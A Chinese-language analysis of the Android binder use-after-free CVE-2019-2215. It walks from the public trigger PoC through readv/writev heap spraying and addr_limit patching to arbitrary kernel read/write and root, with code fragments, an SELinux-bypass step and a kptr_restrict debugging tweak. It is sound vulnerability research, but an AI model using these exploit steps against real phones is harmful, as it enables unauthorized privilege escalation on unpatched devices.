受影響機型:
Some of the devices which appear to be vulnerable based on source code review are:
1) Pixel 2 with Android 9 and Android 10 preview
2) Huawei P20
3) Xiaomi Redmi 5A
4) Xiaomi Redmi Note 5
5) Xiaomi A1
6) A3
7) Moto Z3
8) Oreo LG phones (run according to )
9) Samsung S7, S8, S9
10) Kernel 3.4.x and 3.18.x on Samsung Devices using Samsung Android and LineageOS
11) It works on Pixel 1 and 2, but not Pixel 3 and 3a.
12) It was patched in the Linux kernel >= 4.14 without a CVE
13) accessible from inside the Chrome sandbox.
根據https://bugs.chromium.org/p/project-zero/issues/detail?id=1942公開的poc拿到了拿到了任意內核讀寫權限。後續的文章https://hernan.de/blog/2019/10/15/tailoring-cve-2019-2215-to-achieve-root/,這個漏洞比較好用,並且公開的漏洞中能夠root最新的機器。
基於原始的poc代碼任意地址寫的基礎上在patch kernel繞過了一些緩解機制所做的完整的工作,但拿到任意地址寫的的原理的過程並未開篇陳述,基於此,筆者開始著手復現並闡述這裡面的實現原理以及漏洞利用的方法。
#include <fcntl.h>
#include <sys/epoll.h>
#include <sys/ioctl.h>
#include <unistd.h>
#define BINDER_THREAD_EXIT 0x40046208ul
int main()
{
int fd, epfd;
struct epoll_event event = { .events = EPOLLIN };
fd = open("/dev/binder", O_RDONLY);
epfd = epoll_create(1000);
epoll_ctl(epfd, EPOLL_CTL_ADD, fd, &event);
ioctl(fd, BINDER_THREAD_EXIT, NULL);
}
官方描述如下:
As described in the upstream commit:
「binder_poll() passes the thread->wait waitqueue that
can be slept on for work. When a thread that uses
epoll explicitly exits using BINDER_THREAD_EXIT,
the waitqueue is freed, but it is never removed
from the corresponding epoll data structure. When
the process subsequently exits, the epoll cleanup
code tries to access the waitlist, which results in
a use-after-free.」
也就是binder_thread->waitqueue,這個鍊表中連接了epoll data結構,但當調用了BINDER_THREAD_EXIT對應的方法,就會導致binder_thread被釋放,當程序結束的時候,epoll相應的結構就會遍歷到此成員,造成uaf。
對應的poc步驟為:
1.open(「/dev/binder」),會創建binder_thread
2.epoll_ctl(epfd, EPOLL_CTL_ADD, fd, &event);初始化binder_thread->wait_queue_head_t, 調用add_wait_queue插入wait_queue_t到binder_thread.wait中,
3.ioctl(fd, BINDER_THREAD_EXIT, NULL); 釋放binder_thread結構體
4.程序結束的時候,會遍歷這個鍊表中,觸發uaf
5.此外,如果調用epoll_ctl(epfd, EPOLL_CTL_DEL, fd,event)也會遍歷到這個鍊表中。
a)調用remove_wait_queue,然後刪除wait_queue_t,會遍歷到binder_thread->wait成員(wait_queue_head_t)這樣可以跟4是一樣的效果。
從而poc也可以為
了解epoll:
epoll是select和poll的升級版,應用程式中調用 select() 和 poll() 函數, 使進程進入睡眠之前,內核先檢查設備驅動程序上有無對應事件的狀態,此時可通過查看 poll() 函數的返回值,能夠在返回值上使用的宏變量有以下組合:
POLLIN, POLLPRI, POLLOUT, POLLERR, POLLHUP, POLLNVAL, POLLRDNORM, POLLRDBAND, POLLWRNORM, POLLWRBAND, POLLMSG, POLLREMOVE
這些值中使用最多的是下面幾個組合:
·POLLIN | POLLRDNORM 表示可讀
·POLLOUT | POLLWRNORM 表示可寫 POLLERR 表示出錯
1、epoll_ctl(epfd, EPOLL_CTL_ADD, fd, &event);會調用binder_poll函數
2、/dev/binder綁定了一些系統調用,並且實現了binder_poll,binder_poll中對binder_thread.wait進行了初始化,並調用add_wait_queue
3、epoll_ctl(epfd, EPOLL_CTL_DEL, fd, &event);函數相對比較簡單,會調用remove_wait_queue
binder設備實現的函數
/dev/binder, 會有binder_poll這個調用.
binder_poll 調用核心的函數為poll_wait
open(「/dev/binder」)進入內核會調用binder_open分配binder_proc結構體,
epoll_create會調用ep_alloc,對成員進行初始化
epoll_ctl(epfd, EPOLL_CTL_ADD, fd, &event); 會調用ep_insertàbinder_poll函數,binder_poll函數會獲取binder_thread結構,然後調用poll_wait. poll_wait()會調用epq.pt.qproc所對應的回調函數ep_ptable_queue_proc,執行add_wait_queue操作
設置pwq->wait的成員變量func喚醒回調函數為ep_poll_callback;並將ep_poll_callback放入等待隊列wheadep_poll_callback函數核心功能是將被目標fd的就緒事件到來時,將fd對應的epitem實例添加到就緒隊列。當應用調用epoll_wait()時,內核會將就緒隊列中的事件報告給應用。也就是ep_insert會調用到ep_item_poll->binder_poll->poll_wait
binder_poll 調用核心的函數為poll_wait
主要結構體的初始化都發生在ep_insert->binder_poll中
poll_wait的第一個參數為binder的fd, 第二個參數為binder_thread的wait成員
struct binder_thread {
wait_queue_head_t wait;
;;;;;;;;;;
}
struct __wait_queue_head {
spinlock_t lock;
struct list_head task_list;
};
struct __wait_queue {
unsigned int flags;
void *private;
wait_queue_func_t func;
struct list_head task_list;
};
而這個wait head成員是在binder_poll->binder_get_thread中調用init_waitqueue_head初始化的,init_waitqueue_head(&thread->wait);
在這個鍊表中,有兩種數據結構:等待隊列頭(wait_queue_head_t)和等待隊列項(wait_queue_t)。等待隊列頭和等待隊列項中都包含一個list_head類型,由於我們只需要對隊列進行添加和刪除操作,並不會修改其中的對象(等待隊列項)一開始它是INIT_LIST_HEAD(&q->task_list); next,prev指針分別指向自己。
當初始化時
既然是binder_thread結構體的釋放,並且是uaf,就會離不開堆噴,這裡採用的機制是Time of check time of use readv和writev內部會調用kmalloc分配空間,內部採用分散讀(scatter read)和集合寫(gather write),內核都會調用到do_loop_readv_writev函數
可以參考retme的https://speakerdeck.com/retme7/the-art-of-exploiting-unconventional-use-after-free-bugs-in-android-kernel
ssize_t readv(int fd, const struct iovec *iov, int iovcnt);
ssize_t writev(int fd, const struct iovec *iov, int iovcnt);
也會再開始調用rw_copy_check_uvector,其源碼如下:
調用kmalloc分配大小,然後根據iov_base依次進行寫入或者讀取iov_len長度的內容。
struct iovec
{
void __user *iov_base; /* BSD uses caddr_t (1003.1g requires void *) */
__kernel_size_t iov_len; /* Must be size_t (1003.1g) */
};
關鍵要理解的是隨著readv和writev調用kmalloc分配完相應的對象,並對之前free掉的object進行佔位時,會等待write和read的調用,中間會有一個時機是觸發漏洞的時機,以方便對iov_base的修改。
從這裡開始分析如何從poc轉變為kernel的任意地址讀寫,至於任意讀寫之後到拿到root部分因為網絡資料較多,暫不分析。
所使用的手機環境為pixel 2, linux內核版本tag為4.4.116-gbcd0ecccd040
作者的exp可以分為兩次的觸發漏洞:
1. 觸發漏洞,通過創建pipe,writev(堆噴)和read配合使用,洩露task_struct地址
2. 觸發漏洞, 創建socket,readv(堆噴)和write配合使用,實現patch addr_limit內核變量,打開任意內核地址讀寫
注意這兩步都會重新觸發漏洞,每一步兩個函數的之間的調用是有時間差的,並且都會等待下一個函數的開始調用,比如writev會等待read的調用,否則一直阻塞,所以會fork子進程之前會有sleep的動作,以保證執行的先後順序,fd(文件描述符)之間可以父子進程共享。
先看第一步:leak_task_struct,觀察step1-6(按時間先後順序)的運行,放大圖片來觀看
這裡簡單總結下:
1.EPOLL_CTL_ADD會調用add_wait_queue;2.BINDER_THREAD_EXIT釋放binder_thread;3.調用writev堆噴大小一樣的binder_thread結構體;4.調用EPOLL_CTL_DEL即remove_wait_queue對鍊表進程刪除,會造成iov_base的修改;5.然後調用read,繞過內核的檢查,讀取iov_base的內容,即造成內核地址數據的洩露。
這裡詳細分析一下鍊表操作造成地址的修改:
1. 初始化binder_thread->wait
wait_queue_head_t *q
INIT_LIST_HEAD(&q->task_list);
static inline void INIT_LIST_HEAD(struct list_head *list)
{
list->next = list;
list->prev = list;
}
next和prev指針都指向它自己
2. add_wait_queue
當調用一次add_wait_queue增加wait_queue_t
通過readv進程堆噴,這時候已經檢查過iov_base,沒有數據,會一直阻塞,這時候會等待write的到來,然而中間的某個時刻會觸發漏洞改變iov_base為kernel address,然後進行write,可以往kernel_address寫入內容,實現內核地址寫,這種方式擴大了一些苛刻場景的漏洞利用。
當epoll_ctl(epfd, EPOLL_CTL_DEL, binder_fd, &event);調用完畢,
iovec_array[IOVEC_INDX_FOR_WQ].iov_base = dummy_page_4g_aligned;
iovec_array[IOVEC_INDX_FOR_WQ].iov_len = 1;
iovec_array[IOVEC_INDX_FOR_WQ + 1].iov_base = (void *)0xDEADBEEF;
iovec_array[IOVEC_INDX_FOR_WQ + 1].iov_len = 0x8 + 2 * 0x10; iovec_array[IOVEC_INDX_FOR_WQ + 2].iov_base = (void *)0xBEEFDEAD;
iovec_array[IOVEC_INDX_FOR_WQ + 2].iov_len = 8;
這些值將被覆蓋:
iovec_array[IOVEC_INDX_FOR_WQ].iov_len = &(binder_thread->wait+8) iovec_array[IOVEC_INDX_FOR_WQ + 1].iov_base =&(binder_thread->wait+8)
這時候write調用開始連續寫入iov_base.
unsigned long second_write_chunk[] = {
1, /* iov_len */
0xdeadbeef, /* iov_base (already used) */
0x8 + 2 * 0x10, /* iov_len (already used) */
current_ptr + 0x8, /* next iov_base (addr_limit) */
8, /* next iov_len (sizeof(addr_limit)) */
0xfffffffffffffffe /* value to write */
};
因為在//step 2 write(socks[1], "X", 1) 已經提前寫入長度為1的值,所以對iov_len的修改後期並沒有起作用,否則將會拷貝iovec_array[IOVEC_INDX_FOR_WQ].iov_len = &(binder_thread->wait+8) 長度的數據到dummy_page_4g_aligned。
然後step 5中write(socks[1],second_write_chunk,sizeof(second_write_chunk))開始對iovec_array[IOVEC_INDX_FOR_WQ + 1].iov_base =&(binder_thread->wait+8)這個地址進行寫入,長度為0x8 + 2 * 0x10
這時候binder_thread的內部數據發生變化:
binder_thread.wait.task_list.next = 1 //iov_len
binder_thread.wait.task_list.prev = 0xdeadbeef //base
binder_thread.x1 = 0x8 + 2 * 0x10 //len
binder_thread.x2 = current_ptr + 0x8//base
binder_thread.x3 = 8
這時候繼續進行執行程序:
iovec_array[IOVEC_INDX_FOR_WQ + 2].iov_base = (void *)0xBEEFDEAD;
iovec_array[IOVEC_INDX_FOR_WQ + 2].iov_len = 8;
因為這iovec_array是堆噴的數據,它其實相當於binder_thread.x2的內容,已經由0xBEEFDEAD修改成current_prt+0x8了,這時候second_chunk只剩下最後一個值0xfffffffffffffffe,然後繼續write(fd,current_prt+0x8, 0xfffffffffffffffe),達到patch addr_limit,從而實現任意內核寫,拿到root:
這裡需要注意的是:int recvmsg_result = recvmsg(socks[0], &msg, MSG_WAITALL); MSG_WAITALL的標誌起到了等待write調用的完成,也就是一直會等待下去。
通過任意地址寫,patch task_struct的一些內核變量,達到uid=0的效果,這裡寫入sid會被阻塞,可能被seilnux禁止,應當先將selinux_enforcing內核變量設置0繞過selinux,然後拿到真正的root。
在pixel 2機器復現了:Android 9系統嘗試獲取root
1.崩潰地方在spin_lock_irqsave(&q->lock,flags),
2.readv和write調用,會將所有的內容寫入dummy_page_4g_aligned中,可能內核read和write實現的機制不同,但這部分還未分析。
Printk不可見的原因:
diff --git a/lib/vsprintf.c b/lib/vsprintf.c
index 0a51559..279d5ff 100644
--- a/lib/vsprintf.c
+++ b/lib/vsprintf.c
@@ -1514,7 +1514,7 @@ char *pointer(const char *fmt, char *buf, char *end, void
case 3: /* restrict all non-extensioned %p and %pK */
case 4: /* restrict all non-extensioned %p, %pK, %pa*, %p[rR] */
default:
- ptr = NULL;
+ //ptr = NULL;
break;
}
break;
或者echo 0>/prcoc/sys/kernel/kptr_restrict也可以
dmsg或者cat /proc/kmsg log列印不友好或者斷斷續續,可以cat /dev/kmsg
分別在add_wait_queue,remove_wait_queue和binder_free_thread函數插入前後的log並以進程名字為過濾,指針有可能會被其他的值覆蓋,所以最好不要用%p,否則內核會崩潰在自己寫的log上。
此次漏洞由syzcaller產生,主要在於設備實現了binder_poll函數,binder_poll函數內部使用了binder_thread結構成員,但未考慮binder_thread結構如果已經釋放的情況下,epoll機制仍然使用其中的成員,導致的uaf,其patch在釋放binder_thread結構提前會對epoll上的鍊表進行清理,其漏洞利用特點來看,是tocttou的升級利用,衍生出了某些條件下可以遇到uaf,或者heap overflow這類漏洞實現信息洩露和繞過kalsr的有效機制。
在free binder_thread的時候會對wait_queue_head進行處理,置0
在ep_poll_callback中:
References:
crash:
https://bugs.chromium.org/p/project-zero/issues/attachmentText?aid=414028
issue:
https://bugs.chromium.org/p/project-zero/issues/detail?id=1942
poc:
https://bugs.chromium.org/p/project-zero/issues/attachmentText?aid=414030
https://bugs.chromium.org/p/project-zero/issues/attachmentText?aid=414885
patch:
https://elixir.bootlin.com/linux/latest/ident/POLLFREE
https://pacsec.jp/psj17/PSJ2017_DiShen_Pacsec_FINAL.pdf
https://github.com/externalist/exploit_playground/blob/master/CVE-2016-2434/exploit_CVE-2016-2434_commented.c
https://www.google.com.hk/url?sa=t&rct=j&q=&esrc=s&source=web&cd=5&ved=2ahUKEwit3fb2zLHlAhWNF6YKHX_DC1UQFjAEegQIAhAB&url=https%3A%2F%2Fsecurityaffairs.co%2Fwordpress%2F92633%2Fhacking%2Fcve-2019-2215-zero-day-exploit.html&usg=AOvVaw2ItkF7ngwGi8z6SfNtHj3x
epoll的簡單描述:
https://www.cppfans.org/1418.html